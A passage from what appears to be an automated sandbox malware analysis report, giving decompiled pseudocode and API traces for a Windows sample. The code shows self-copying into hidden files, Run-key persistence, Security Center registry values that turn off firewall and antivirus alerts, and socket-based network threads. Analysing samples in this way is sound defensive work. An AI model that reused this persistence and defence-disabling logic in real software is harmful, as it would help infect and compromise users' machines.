						 *((intOrPtr*)(_t31 + 0xc)) = _t38;
						_t26 = CreateThread(0, 0, E0040DAD0, _t31, 0, 0); // executed
						 *(_t31 + 0x14) = _t26;
						goto L8;
					}
					E0040DD00(_t31, _t38);
					return 0;
				}
			}

0x0040d8a0
0x0040d8a0
0x0040d8a8
0x0040d994
0x0040d8b6
0x0040d8c5
0x0040d8cb
0x0040d8d1
0x0040d8d8
0x0040d8e4
0x0040d8e7
0x0040d8ed
0x0040d8f3
0x0040d8f5
0x0040d8fa
0x0040d8fa
0x0040d8fe
0x0040d98e
0x00000000
0x0040d990
0x0040d906
0x0040d90a
0x0040d90e
0x0040d912
0x0040d917
0x0040d921
0x0040d925
0x0040d92a
0x0040d939
0x0040d93e
0x0040d943
0x0040d94c
0x0040d95d
0x0040d966
0x0040d982
0x0040d985
0x0040d98b
0x00000000
0x0040d98b
0x0040d968
0x0040d973
0x0040d973

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0040D8D8
socket.WS2_32(00000002,00000002,00000011), ref: 0040D8E7
htons.WS2_32(00009E34), ref: 0040D92A
setsockopt.WS2_32(?,0000FFFF), ref: 0040D94C
bind.WS2_32(?,00000004,00000010), ref: 0040D95D

Part of subcall function 0040DD00: SetEvent.KERNEL32(?,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD11
Part of subcall function 0040DD00: WaitForSingleObject.KERNEL32(?,000000FF,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD1D
Part of subcall function 0040DD00: CloseHandle.KERNEL32(?), ref: 0040DD27

CreateThread.KERNEL32(00000000,00000000,Function_0000DAD0,00000000,00000000,00000000), ref: 0040D985

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindhtonssetsockoptsocket
String ID:
API String ID: 4174406920-0
Opcode ID: 2d911b1bbcf8aa9228971664239ddae190cfab587872b89484cf3d1e1edbad1a
Instruction ID: 030b81ab5cfdece744e4193ec97e607ba68bdf4ca273294f478105adee985cb3
Opcode Fuzzy Hash: 2d911b1bbcf8aa9228971664239ddae190cfab587872b89484cf3d1e1edbad1a
Instruction Fuzzy Hash: A721A1B4A44301AFE710DFA48C8AB577AA0EF44710F50857AFA54DA2C1D7F4C9488B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B540 Relevance: 9.1, APIs: 6, Instructions: 67
sleepnetworkCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040B540(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _t38;
				intOrPtr _t43;

				_v12 = _a16;
				if(_a16 != 0xffffffff) {
					_v12 = GetTickCount() + _v12;
				}
				_v8 = _a8;
				while(1) {
					_v16 = 0;
					_t38 = _a4;
					__imp__#10(_t38, 0x4004667f,  &_v16); // executed
					if(_t38 == 0xffffffff) {
						break;
					}
					if(_v16 > 0) {
						if(_v16 >= _a12) {
							_v24 = _a12;
						} else {
							_v24 = _v16;
						}
						_t43 = _a4;
						__imp__#16(_t43, _v8, _v24, 0); // executed
						_v20 = _t43;
						if(_v20 > 0) {
							if(_a16 != 0xffffffff) {
								_v12 = GetTickCount() + _a16;
							}
							_a12 = _a12 - _v20;
							_v8 = _v8 + _v20;
						}
					}
					Sleep(1); // executed
					if(GetTickCount() > _v12 || _a12 == 0) {
						L15:
						return 0 | _a12 == 0x00000000;
					} else {
						continue;
					}
				}
				goto L15;
			}

APIs

GetTickCount.KERNEL32 ref: 0040B552
ioctlsocket.WS2_32(00000004,4004667F,00000000), ref: 0040B578
recv.WS2_32(00000004,00002710,000000FF,00000000), ref: 0040B5AF
GetTickCount.KERNEL32 ref: 0040B5C4
Sleep.KERNEL32(00000001), ref: 0040B5E4
GetTickCount.KERNEL32 ref: 0040B5EA

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CountTick$Sleepioctlsocketrecv
String ID:
API String ID: 107502007-0
Opcode ID: 3dbc88ac5e59e45bbdcf572904d8cc1d56ccf512b654b7b3376d83b26deadee6
Instruction ID: 64461f39ab81653a4184227da93eab0719a9ebb5afb4910718686698f9d98f64
Opcode Fuzzy Hash: 3dbc88ac5e59e45bbdcf572904d8cc1d56ccf512b654b7b3376d83b26deadee6
Instruction Fuzzy Hash: 7131EF74900209EFCB14DFA4DD48AEE7BB5FF48315F1086AAE825A3290D7749A50CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00409540 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60
networkCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00409540() {
				intOrPtr _v8;
				short _v10;
				short _v14;
				short _v18;
				intOrPtr _v20;
				short _v22;
				char _v24;
				intOrPtr _v28;
				short _v30;
				short _v34;
				short _v38;
				intOrPtr _v40;
				short _v42;
				char _v44;
				char _v48;
				intOrPtr _t28;
				char* _t30;

				_v8 = 0xffffffff;
				_v24 = 0;
				_v22 = 0;
				_v18 = 0;
				_v14 = 0;
				_v10 = 0;
				_v24 = 2;
				__imp__#9(0x50);
				_v22 = 0;
				_t28 = E00409500("www.update.microsoft.com"); // executed
				_v20 = _t28;
				__imp__#23(2, 1, 0); // executed
				_v28 = _t28;
				if(_v28 != 0xffffffff) {
					_t30 =  &_v24;
					__imp__#4(_v28, _t30, 0x10); // executed
					if(_t30 == 0) {
						_v44 = 0;
						_v42 = 0;
						_v38 = 0;
						_v34 = 0;
						_v30 = 0;
						_v48 = 0x10;
						__imp__#6(_v28,  &_v44,  &_v48); // executed
						_v8 = _v40;
					}
					E00409600(_v28); // executed
				}
				return _v8;
			}

APIs

htons.WS2_32(00000050), ref: 0040956D

Part of subcall function 00409500: inet_addr.WS2_32(00409581), ref: 0040950A
Part of subcall function 00409500: gethostbyname.WS2_32(?), ref: 0040951D

socket.WS2_32(00000002,00000001,00000000), ref: 0040958D
connect.WS2_32(000000FF,?,00000010), ref: 004095A6
getsockname.WS2_32(000000FF,?,00000010), ref: 004095D8

Strings

www.update.microsoft.com, xrefs: 00409577

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: connectgethostbynamegetsocknamehtonsinet_addrsocket
String ID: www.update.microsoft.com
API String ID: 4063137541-1705189816
Opcode ID: 3133bfd0ff6c1cc1bf6a6429f4e0b0bd3f77c76321baf638f74cae633aa49c80
Instruction ID: 389a469d72f566baadd69971dc4dec0fd14d74987819c9d890e36e211f91e18c
Opcode Fuzzy Hash: 3133bfd0ff6c1cc1bf6a6429f4e0b0bd3f77c76321baf638f74cae633aa49c80
Instruction Fuzzy Hash: FD210EB5D14309ABCB04DFE4D846AEFBBB4AF48310F108169E505F3390E7745A44CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040A870 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040A870(void* __ecx, BYTE* _a4, int _a8) {
				char _v8;
				char* _t6;

				_t1 =  &_v8; // 0x406545
				_t6 = _t1;
				__imp__CryptAcquireContextW(_t6, 0, 0, 1, 0xf0000040, __ecx); // executed
				if(_t6 != 0) {
					_t4 =  &_v8; // 0x406545
					CryptGenRandom( *_t4, _a8, _a4);
					_t5 =  &_v8; // 0x406545
					return CryptReleaseContext( *_t5, 0);
				}
				return _t6;
			}

0x0040a87f
0x0040a87f
0x0040a883
0x0040a88b
0x0040a895
0x0040a899
0x0040a8a1
0x00000000
0x0040a8a5
0x0040a8ae

APIs

CryptAcquireContextW.ADVAPI32(Ee@,00000000,00000000,00000001,F0000040,?,?,0040A8C9,Ee@,00000004,?,?,0040A8FE,000000FF), ref: 0040A883
CryptGenRandom.ADVAPI32(Ee@,?,00000000,?,?,0040A8C9,Ee@,00000004,?,?,0040A8FE,000000FF), ref: 0040A899
CryptReleaseContext.ADVAPI32(Ee@,00000000,?,?,0040A8C9,Ee@,00000004,?,?,0040A8FE,000000FF), ref: 0040A8A5

Strings

Ee@, xrefs: 0040A87F, 0040A895, 0040A8A1, 0040A882, 0040A898, 0040A8A4

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID: Ee@
API String ID: 1815803762-3880142923
Opcode ID: eda8b9e6150e8489936fffc678bcc37347e2bbaac9c88bad9fce2d1065103978
Instruction ID: 1edff0947e8a0bec857b7d5bc171d56b6abde249d8757a471d495e886690916f
Opcode Fuzzy Hash: eda8b9e6150e8489936fffc678bcc37347e2bbaac9c88bad9fce2d1065103978
Instruction Fuzzy Hash: 47E01275650308FBDB14DBD1EC49F9A777CAB48740F108154B709A7284DAB5EA408768

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD70 Relevance: 6.1, APIs: 4, Instructions: 59
networkthreadCOMMON

Download Yara Rule

C-Code - Quality: 22%

			E0040DD70(void* __edi) {
				short _v14;
				short _v18;
				intOrPtr _v20;
				short _v22;
				short _v26;
				char _v28;
				void* __ebx;
				void* _t15;
				void* _t20;
				void* _t24;

				_t27 = __edi;
				_t24 = E00408B00(0x24);
				 *_t24 = 0x756470;
				 *(_t24 + 4) = 1;
				_t15 = CreateEventA(0, 1, 0, 0);
				 *(_t24 + 0x10) = _t15;
				__imp__#23(2, 2, 0x11); // executed
				 *(_t24 + 8) = _t15;
				if(_t15 == 0xffffffff) {
					E0040DD00(_t24, __edi);
					_t24 = 0;
				}
				if(_t24 == 0) {
					L6:
					return _t24;
				} else {
					_v26 = 0;
					_v22 = 0;
					_v18 = 0;
					_v14 = 0;
					_v28 = 2;
					__imp__#2( *(_t24 + 8),  &_v28, 0x10); // executed
					if(2 != 0xffffffff) {
						 *((intOrPtr*)(_t24 + 0xc)) = _v20;
						_t20 = CreateThread(0, 0, E0040DAD0, _t24, 0, 0); // executed
						 *(_t24 + 0x14) = _t20;
						goto L6;
					} else {
						E0040DD00(_t24, _t27);
						return 0;
					}
				}
			}

0x0040dd70
0x0040dd82
0x0040dd88
0x0040dd8e
0x0040dd95
0x0040dda1
0x0040dda4
0x0040ddaa
0x0040ddb0
0x0040ddb2
0x0040ddb7
0x0040ddb7
0x0040ddbb
0x0040de1a
0x0040de20
0x0040ddbd
0x0040ddbf
0x0040ddc3
0x0040ddc7
0x0040ddcb
0x0040dddb
0x0040dde5
0x0040ddee
0x0040de0e
0x0040de11
0x0040de17
0x00000000
0x0040ddf0
0x0040ddf0
0x0040ddfb
0x0040ddfb
0x0040ddee

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,0040BF1E,00000000), ref: 0040DD95
socket.WS2_32(00000002,00000002,00000011), ref: 0040DDA4
bind.WS2_32(?,?,00000010), ref: 0040DDE5

Part of subcall function 0040DD00: SetEvent.KERNEL32(?,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD11
Part of subcall function 0040DD00: WaitForSingleObject.KERNEL32(?,000000FF,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD1D
Part of subcall function 0040DD00: CloseHandle.KERNEL32(?), ref: 0040DD27

CreateThread.KERNEL32(00000000,00000000,Function_0000DAD0,00000000,00000000,00000000), ref: 0040DE11

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindsocket
String ID:
API String ID: 3943618503-0
Opcode ID: f8f3b0d91992a3f05bf20d74a040dd3b5de6542fa6eed3ed5fb2aa002f931ea1
Instruction ID: a1f51b83e62fd1e5ac6bfc854ac0cad300f812e19a803ea918e078540f5b95b0
Opcode Fuzzy Hash: f8f3b0d91992a3f05bf20d74a040dd3b5de6542fa6eed3ed5fb2aa002f931ea1
Instruction Fuzzy Hash: 9611C870A40300AFE7009FB49C86B577AA0EF44710F50897AFA08DE2D1D2F4D8488756

Uniqueness

Uniqueness Score: -1.00%

Function 00405E10 Relevance: 170.2, APIs: 60, Strings: 37, Instructions: 492
registrysleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			_entry_() {
				short _v524;
				char _v528;
				int _v532;
				int _v536;
				char _v1060;
				void* _v1064;
				char _v1588;
				short _v2108;
				intOrPtr _v2112;
				short _v2636;
				void* _v2640;
				char _v3044;
				intOrPtr* _v3048;
				int _v3052;
				short _v3054;
				short _v3056;
				int _v3060;
				int _v3064;
				intOrPtr* _v3068;
				intOrPtr _v3072;
				short _v3074;
				signed int _v3080;
				intOrPtr* _v3084;
				intOrPtr _v3088;
				short _v3090;
				signed int _v3096;
				void* _t121;
				int _t129;
				long _t130;
				long _t132;
				signed char _t133;
				void* _t142;
				intOrPtr _t145;
				intOrPtr _t149;
				signed char _t192;
				signed char _t203;
				int _t210;
				short _t215;
				intOrPtr _t219;
				short _t245;
				intOrPtr _t253;
				intOrPtr _t254;
				void* _t278;
				void* _t279;
				void* _t286;

				Sleep(0xbb8); // executed
				_v536 = 0;
				_v2112 = 0x235a;
				while(_v536 < _v2112) {
					_t210 = PathFileExistsW(L"2393737939739"); // executed
					if(_t210 != 0) {
						CopyFileW(L"297973937,", L"33973397337", 0);
						MoveFileA("337372927", "2282688262");
						MoveFileW(L"038038", L"333383737");
					}
					_v536 = _v536 + 1;
				}
				_t121 = CreateMutexA(0, 0, "2u9o0b7n"); // executed
				_v2640 = _t121;
				if(GetLastError() != 0xb7) {
					_v1064 = 0;
					_v528 = 1;
					GetModuleFileNameW(0, 0x4169d8, 0x105);
					_v532 = PathFindFileNameW(0x4169d8);
					wsprintfW( &_v524, L"%s:Zone.Identifier", 0x4169d8);
					_t279 = _t278 + 0xc;
					DeleteFileW( &_v524); // executed
					ExpandEnvironmentStringsW(L"%userprofile%",  &_v2636, 0x104);
					_v3048 = 0x414bf0;
					_v3052 = _v532;
					while(1) {
						_t129 = _v3052;
						_t215 =  *_t129;
						_v3054 = _t215;
						if(_t215 !=  *_v3048) {
							break;
						}
						if(_v3054 == 0) {
							L12:
							_v3060 = 0;
							L14:
							_v3064 = _v3060;
							if(_v3064 == 0) {
								L31:
								Sleep(0x1f4); // executed
								_t130 = RegOpenKeyExA(0x80000002, "SOFTWARE\\Microsoft\\Security Center", 0, 0x20006,  &_v1064); // executed
								if(_t130 == 0) {
									RegSetValueExA(_v1064, "FirewallOverride", 0, 4,  &_v528, 4); // executed
									RegSetValueExA(_v1064, "FirewallDisableNotify", 0, 4,  &_v528, 4); // executed
									RegSetValueExA(_v1064, "AntiSpywareOverride", 0, 4,  &_v528, 4); // executed
									RegSetValueExA(_v1064, "AntiVirusOverride", 0, 4,  &_v528, 4); // executed
									RegSetValueExA(_v1064, "AntiVirusDisableNotify", 0, 4,  &_v528, 4); // executed
									RegSetValueExA(_v1064, "UpdatesOverride", 0, 4,  &_v528, 4); // executed
									RegSetValueExA(_v1064, "UpdatesDisableNotify", 0, 4,  &_v528, 4); // executed
									RegCloseKey(_v1064); // executed
								}
								_t132 = RegOpenKeyExA(0x80000002, "SOFTWARE\\Microsoft\\Security Center\\Svc", 0, 0x20006,  &_v1064); // executed
								if(_t132 == 0) {
									RegSetValueExA(_v1064, "FirewallOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "FirewallDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiSpywareOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiVirusOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiVirusDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "UpdatesOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "UpdatesDisableNotify", 0, 4,  &_v528, 4);
									RegCloseKey(_v1064);
								}
								Sleep(0x1f4); // executed
								_t133 = E0040B1C0(); // executed
								if((_t133 & 0x000000ff) != 0) {
									__imp__#115(0x202,  &_v3044); // executed
									wsprintfW("C:\Users\Albus\tbnds.dat", L"%s\\tbnds.dat",  &_v2636);
									wsprintfW("C:\Users\Albus\tbcmds.dat", L"%s\\tbcmds.dat",  &_v2636);
									CreateThread(0, 0, E004043F0, 0, 0, 0); // executed
									Sleep(0x3e8); // executed
									CreateThread(0, 0, E004054A0, 0, 0, 0); // executed
									Sleep(0x3e8); // executed
									CreateThread(0, 0, E00405CF0, 0, 0, 0); // executed
									Sleep(0x2710); // executed
									E004045F0(); // executed
									_t142 = E0040D020(); // executed
									E00405BA0(_t142,  &_v2636); // executed
									 *0x416e0c = CreateEventA(0, 1, 0, 0); // executed
									_t145 = E0040A8F0( &_v2636); // executed
									 *0x416e14 = _t145;
									 *0x416e10 = E0040BAF0( &_v2636); // executed
									E00409D40(); // executed
									_t253 =  *0x416e10; // 0x1eb1d60
									E0040BBA0(_t253, 0, E0040BFB0, 0, 0, 0); // executed
									_t149 =  *0x416e10; // 0x1eb1d60
									E0040BBA0(_t149, 0, E0040BF10, 0, 0, 0); // executed
									_t219 =  *0x416e10; // 0x1eb1d60
									E0040BBA0(_t219, 0, E0040BAA0, 0, 0, 0); // executed
									_t254 =  *0x416e10; // 0x1eb1d60
									E0040BBA0(_t254, 0, E0040B8A0, 0, 0, 0); // executed
								}
								return 0;
							}
							if((E0040D0F0() & 0x000000ff) != 1) {
								ExpandEnvironmentStringsW(L"%windir%",  &_v2108, 0x104);
								wsprintfW( &_v1588, L"%s\\%s",  &_v2108, 0x414bf0);
								_t286 = _t279 + 0x10;
								if(CopyFileW(0x4169d8,  &_v1588, 0) == 0) {
									L24:
									Sleep(0x1f4);
									wsprintfW( &_v1060, L"%s\\%s",  &_v2636, 0x414bf0);
									_t279 = _t286 + 0x10;
									if(CopyFileW(0x4169d8,  &_v1060, 0) == 0) {
										goto L31;
									}
									SetFileAttributesW( &_v1060, 3);
									if(RegOpenKeyExW(0x80000001, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 0, 0x20006,  &_v1064) != 0) {
										L29:
										_t192 = E0040D390( &_v1060);
										_t279 = _t279 + 4;
										if((_t192 & 0x000000ff) != 1) {
											goto L31;
										}
										ExitProcess(0);
									}
									_v3084 =  &_v1060;
									_v3088 = _v3084 + 2;
									do {
										_v3090 =  *_v3084;
										_v3084 = _v3084 + 2;
									} while (_v3090 != 0);
									_v3096 = _v3084 - _v3088 >> 1;
									RegSetValueExW(_v1064, L"Windows Settings", 0, 1,  &_v1060, _v3096 + _v3096 + 2);
									RegCloseKey(_v1064);
									goto L29;
								}
								SetFileAttributesW( &_v1588, 3);
								if(RegOpenKeyExW(0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 0, 0x20006,  &_v1064) != 0) {
									L22:
									_t203 = E0040D390( &_v1588);
									_t286 = _t286 + 4;
									if((_t203 & 0x000000ff) != 1) {
										goto L24;
									}
									ExitProcess(0);
								}
								_v3068 =  &_v1588;
								_v3072 = _v3068 + 2;
								do {
									_v3074 =  *_v3068;
									_v3068 = _v3068 + 2;
								} while (_v3074 != 0);
								_v3080 = _v3068 - _v3072 >> 1;
								RegSetValueExW(_v1064, L"Windows Settings", 0, 1,  &_v1588, _v3080 + _v3080 + 2);
								RegCloseKey(_v1064);
								goto L22;
							}
							ExitProcess(0);
						}
						_t129 = _v3052;
						_t245 =  *((intOrPtr*)(_t129 + 2));
						_v3056 = _t245;
						_t25 = _v3048 + 2; // 0x790073
						if(_t245 !=  *_t25) {
							break;
						}
						_v3052 = _v3052 + 4;
						_v3048 = _v3048 + 4;
						if(_v3056 != 0) {
							continue;
						}
						goto L12;
					}
					asm("sbb eax, eax");
					asm("sbb eax, 0xffffffff");
					_v3060 = _t129;
					goto L14;
				}
				ExitProcess(0);
			}

0x00405e1e
0x00405e24
0x00405e2e
0x00405e38
0x00405e4b
0x00405e53
0x00405e61
0x00405e71
0x00405e81
0x00405e81
0x00405e90
0x00405e90
0x00405ea1
0x00405ea7
0x00405eb8
0x00405ec2
0x00405ecc
0x00405ee2
0x00405ef3
0x00405f0a
0x00405f10
0x00405f1a
0x00405f31
0x00405f37
0x00405f47
0x00405f4d
0x00405f4d
0x00405f53
0x00405f56
0x00405f66
0x00000000
0x00000000
0x00405f70
0x00405fa7
0x00405fa7
0x00405fbe
0x00405fc4
0x00405fd1
0x0040623a
0x0040623f
0x0040625d
0x00406265
0x00406284
0x004062a3
0x004062c2
0x004062e1
0x00406300
0x0040631f
0x0040633e
0x0040634b
0x0040634b
0x00406369
0x00406371
0x00406390
0x004063af
0x004063ce
0x004063ed
0x0040640c
0x0040642b
0x0040644a
0x00406457
0x00406457
0x00406462
0x00406468
0x00406472
0x00406484
0x0040649b
0x004064b5
0x004064cd
0x004064d8
0x004064ed
0x004064f8
0x0040650d
0x00406518
0x0040651e
0x00406523
0x00406528
0x0040653b
0x00406540
0x00406545
0x0040654f
0x00406554
0x00406566
0x0040656d
0x00406582
0x00406588
0x0040659d
0x004065a4
0x004065b9
0x004065c0
0x004065c5
0x00000000
0x004065cc
0x00405fe2
0x00405ffd
0x0040601b
0x00406021
0x0040603a
0x00406119
0x0040611e
0x0040613c
0x00406142
0x0040615b
0x00000000
0x00000000
0x0040616a
0x00406190
0x0040621b
0x00406222
0x00406227
0x00406230
0x00000000
0x00000000
0x00406234
0x00406234
0x0040619c
0x004061ab
0x004061b1
0x004061ba
0x004061c1
0x004061c8
0x004061e0
0x00406208
0x00406215
0x00000000
0x00406215
0x00406049
0x0040606f
0x004060fa
0x00406101
0x00406106
0x0040610f
0x00000000
0x00000000
0x00406113
0x00406113
0x0040607b
0x0040608a
0x00406090
0x00406099
0x004060a0
0x004060a7
0x004060bf
0x004060e7
0x004060f4
0x00000000
0x004060f4
0x00405fe6
0x00405fe6
0x00405f72
0x00405f78
0x00405f7c
0x00405f89
0x00405f8d
0x00000000
0x00000000
0x00405f8f
0x00405f96
0x00405fa5
0x00000000
0x00000000
0x00000000
0x00405fa5
0x00405fb3
0x00405fb5
0x00405fb8
0x00000000
0x00405fb8
0x00405ebc

APIs

Sleep.KERNEL32(00000BB8), ref: 00405E1E
PathFileExistsW.SHLWAPI(2393737939739), ref: 00405E4B
CopyFileW.KERNEL32 ref: 00405E61
MoveFileA.KERNEL32(337372927,2282688262), ref: 00405E71
MoveFileW.KERNEL32 ref: 00405E81
CreateMutexA.KERNEL32(00000000,00000000,2u9o0b7n), ref: 00405EA1
GetLastError.KERNEL32 ref: 00405EAD
ExitProcess.KERNEL32 ref: 00405EBC
GetModuleFileNameW.KERNEL32(00000000,004169D8,00000105), ref: 00405EE2
PathFindFileNameW.SHLWAPI(004169D8), ref: 00405EED
wsprintfW.USER32 ref: 00405F0A
DeleteFileW.KERNEL32(?), ref: 00405F1A
ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 00405F31
ExitProcess.KERNEL32 ref: 00405FE6
ExpandEnvironmentStringsW.KERNEL32(%windir%,?,00000104), ref: 00405FFD
wsprintfW.USER32 ref: 0040601B
CopyFileW.KERNEL32 ref: 00406032
SetFileAttributesW.KERNEL32(?,00000003), ref: 00406049
RegOpenKeyExW.ADVAPI32 ref: 00406067
RegSetValueExW.ADVAPI32 ref: 004060E7
RegCloseKey.ADVAPI32(00000000), ref: 004060F4
ExitProcess.KERNEL32 ref: 00406113
Sleep.KERNEL32(000001F4), ref: 0040611E
wsprintfW.USER32 ref: 0040613C
CopyFileW.KERNEL32 ref: 00406153
SetFileAttributesW.KERNEL32(?,00000003), ref: 0040616A
RegOpenKeyExW.ADVAPI32 ref: 00406188
RegSetValueExW.ADVAPI32 ref: 00406208
RegCloseKey.ADVAPI32(00000000), ref: 00406215
ExitProcess.KERNEL32 ref: 00406234
Sleep.KERNEL32(000001F4), ref: 0040623F
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Security Center,00000000,00020006,00000000), ref: 0040625D
RegSetValueExA.KERNEL32(00000000,FirewallOverride,00000000,00000004,00000001,00000004), ref: 00406284
RegSetValueExA.KERNEL32(00000000,FirewallDisableNotify,00000000,00000004,00000001,00000004), ref: 004062A3
RegSetValueExA.KERNEL32(00000000,AntiSpywareOverride,00000000,00000004,00000001,00000004), ref: 004062C2
RegSetValueExA.KERNEL32(00000000,AntiVirusOverride,00000000,00000004,00000001,00000004), ref: 004062E1
RegSetValueExA.KERNEL32(00000000,AntiVirusDisableNotify,00000000,00000004,00000001,00000004), ref: 00406300
RegSetValueExA.KERNEL32(00000000,UpdatesOverride,00000000,00000004,00000001,00000004), ref: 0040631F
RegSetValueExA.KERNEL32(00000000,UpdatesDisableNotify,00000000,00000004,00000001,00000004), ref: 0040633E
RegCloseKey.KERNEL32(00000000), ref: 0040634B
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Security Center\Svc,00000000,00020006,00000000), ref: 00406369
RegSetValueExA.ADVAPI32(00000000,FirewallOverride,00000000,00000004,00000001,00000004), ref: 00406390
RegSetValueExA.ADVAPI32(00000000,FirewallDisableNotify,00000000,00000004,00000001,00000004), ref: 004063AF
RegSetValueExA.ADVAPI32(00000000,AntiSpywareOverride,00000000,00000004,00000001,00000004), ref: 004063CE
RegSetValueExA.ADVAPI32(00000000,AntiVirusOverride,00000000,00000004,00000001,00000004), ref: 004063ED
RegSetValueExA.ADVAPI32(00000000,AntiVirusDisableNotify,00000000,00000004,00000001,00000004), ref: 0040640C
RegSetValueExA.ADVAPI32(00000000,UpdatesOverride,00000000,00000004,00000001,00000004), ref: 0040642B
RegSetValueExA.ADVAPI32(00000000,UpdatesDisableNotify,00000000,00000004,00000001,00000004), ref: 0040644A
RegCloseKey.ADVAPI32(00000000), ref: 00406457
Sleep.KERNEL32(000001F4), ref: 00406462
WSAStartup.WS2_32(00000202,?), ref: 00406484
wsprintfW.USER32 ref: 0040649B
wsprintfW.USER32 ref: 004064B5
CreateThread.KERNEL32(00000000,00000000,004043F0,00000000,00000000,00000000), ref: 004064CD
Sleep.KERNEL32(000003E8), ref: 004064D8
CreateThread.KERNEL32(00000000,00000000,004054A0,00000000,00000000,00000000), ref: 004064ED
Sleep.KERNEL32(000003E8), ref: 004064F8
CreateThread.KERNEL32(00000000,00000000,00405CF0,00000000,00000000,00000000), ref: 0040650D
Sleep.KERNEL32(00002710), ref: 00406518
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 00406535

